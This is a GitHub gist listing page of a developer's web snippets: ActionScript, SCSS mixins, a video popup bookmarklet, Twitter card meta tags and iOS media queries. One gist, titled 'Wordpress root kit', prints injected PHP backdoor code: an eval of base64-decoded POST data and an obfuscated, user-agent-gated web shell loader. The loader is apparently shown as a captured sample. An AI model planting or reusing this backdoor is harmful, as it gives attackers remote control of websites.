Skip to content

Instantly share code, notes, and snippets.

@jdeagle
jdeagle / gist:7609210
Created November 23, 2013 00:31
Pass root flash vars to a child swf
var flashVars:Object = root.loaderInfo.parameters;
var params:String = "";
var count:Number = 0;
for each (var value:String in flashVars) {
if(count==0){
params += value + "=" + flashVars[value];
} else {
params += "&" + value + "=" + flashVars[value];
}
@function em($target, $context: $base-font-size) {
@if $target == 0 { @return 0 }
@return $target / $context + 0em;
}
$base-font-size: 15px;
h1 {
font-size: em(21px, 15px); // Outputs 1.4em
}
@jdeagle
jdeagle / popup.txt
Created August 27, 2013 18:28 — forked from timrwood/popup.txt
javascript:!function(){var h=location.href,y=h.match(/(youtu.be\/|v\/|u\/\w\/|embed\/|v=)([^#\&\? ]*).*/),v=h.match(/(vimeo.com\/)([^#\&\? ]*)/);y=y&&'http://www.youtube.com/watch_popup/?v='+y[2];v=v&&'http://player.vimeo.com/video/'+v[2];window.open(y||v,"_blank","height=345,width=560");}()
function pretty_number(num, opts)
{
var defaultOpts = {
short: true,
lowerCase: false,
addCommas: true,
round: 2
};
if (typeof num != "number")
require.config({
paths : {
"$" : "//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min",
"mout" : "libs/mout"
},
waitSeconds : 15,
});
@jdeagle
jdeagle / opacity-mixin.scss
Created January 14, 2013 23:08
SCSS - IE8 Opacity mixin
@mixin opacity($opacity) {
// @if $legacy-support-for-ie6 or $legacy-support-for-ie7 or $legacy-support-for-ie8 {
// -ms-filter: unquote("progid:DXImageTransform.Microsoft.Alpha(Opacity=#{round($opacity * 100)})");
//}
filter: alpha(opacity= round($opacity * 100)); /* internet explorer */
opacity: $opacity; /* fx, safari, opera, chrome */
-ms-filter: unquote("progid:DXImageTransform.Microsoft.Alpha(Opacity=#{round($opacity * 100)})");
//-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(opacity=50)"; /*IE8*/
}
@jdeagle
jdeagle / gist:4279580
Created December 13, 2012 20:36
Twitter player card video meta tags
<meta name="twitter:card" content="player">
<meta name="twitter:site" content="@jdeagle">
<meta name="twitter:url" content="http://jamesdeagle.com">
<meta name="twitter:title" content="The Streets is here">
<meta name="twitter:description" content="Some quality tricks right here">
<meta name="twitter:image" content="http://placekitten.com/500/500">
<meta name="twitter:player" content="https://www.youtube.com/embed/PhWj3xDWrfE">
<meta name="twitter:player:width" content="435">
<meta name="twitter:player:height" content="251">
@jdeagle
jdeagle / wordpressRootKit
Created November 27, 2012 20:18
Wordpress root kit
// Injected VIA
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
<?php
$ref = $_SERVER['HTTP_USER_AGENT'];
$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i";
if (preg_match($keywordsRegex, $ref)) {
$a='bas'.'e6'.'4_d'.'ecode';eval($a("QGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpA
aW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBz
ZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUn
KTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIFdTT3N0cmlwc2xh
@jdeagle
jdeagle / ios-test.css
Created November 6, 2012 19:43 — forked from mattyoho/ios-test.css
iOS Media Queries
// iOS Media Queries
// Goal: capture styles for iPhone, iPhone 3G, iPhone 3GS, iPhone 4, iPhone 4S, iPad, and iPad 2
//
// Author: Tony Schneider (@tonywok)
// Please tell me where I fail. :)
// iPhone v(4,4S) portrait
// test: black text (overwritten by v* portrait) with blue background
@media all and (-webkit-min-device-pixel-ratio: 2) and (orientation: portrait) {
a {
@jdeagle
jdeagle / gist:4003806
Created November 2, 2012 19:30
Get all images and background images on the page
getImageURLS : function () {
var images = [],
key = {},
tags = document.getElementsByTagName('*'),
url,
el;
for (var i = 0, len = tags.length; i < len; i++) {
el = tags[i];